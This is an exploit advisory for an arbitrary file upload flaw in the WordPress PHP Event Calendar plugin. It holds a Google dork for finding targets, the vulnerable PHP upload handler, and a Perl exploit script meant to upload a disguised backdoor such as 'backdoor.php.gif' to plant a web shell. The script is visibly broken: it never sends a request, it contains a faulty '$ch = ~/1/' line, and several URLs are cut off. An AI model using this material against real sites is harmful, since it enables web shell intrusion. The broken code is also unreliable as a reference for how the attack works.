######################################################################
# Exploit Title: Wordpress PHP Event Calendar Plugin - Arbitrary File Upload
# Google Dork: inurl:/plugins/php-event-calendar/
# Date: 02.04.2015
# Exploit Author: CrashBandicot (@DosPerl)
# Source Plugin: https:
# Vendor HomePage: http:
# Version: 1.5
# Tested on: MSwin
######################################################################
# Path of File : /wp-content/plugins/php-event-calendar/server/classes/uploadify.php
# Vulnerable File : uploadify.php
<?php
$targetFolder = $_POST['targetFolder'];
$dir = str_replace('\\','/',dirname(__FILE__));
if (!empty($_FILES)) {
$tempFile = $_FILES['Filedata']['tmp_name'];
$targetPath = $targetFolder;
$fileName = $_POST['user_id'].'_'.$_FILES['Filedata']['name'];
$targetFile = rtrim($targetPath,'/') . '/' . $fileName;
$fileTypes = array('jpg','jpeg','gif','png');
$fileParts = pathinfo($_FILES['Filedata']['name']);
if (in_array($fileParts['extension'],$fileTypes)) {
move_uploaded_file($tempFile,$targetFile);
echo '1';
} else {
echo 'Invalid file type.';
}
}
?>
# Exploit
#!/usr/bin/perl
use LWP::UserAgent;
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
print "\t +===================================================\n";
print "\t | PHP event Calendar Plugin - Arbitrary File Upload \n";
print "\t | Author: CrashBandicot\n";
print "\t +===================================================\n\n";
die "usage : perl $0 backdoor.php.gif" unless $ARGV[0];
$file = $ARGV[0];
my $ua = LWP::UserAgent->new( agent => q{Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36},);
if($ch = ~/1/) {
print "\n [+] File Uploaded !";
} else { print "\n [-] Target not Vuln"; }
__END__
# Path Shell : http:
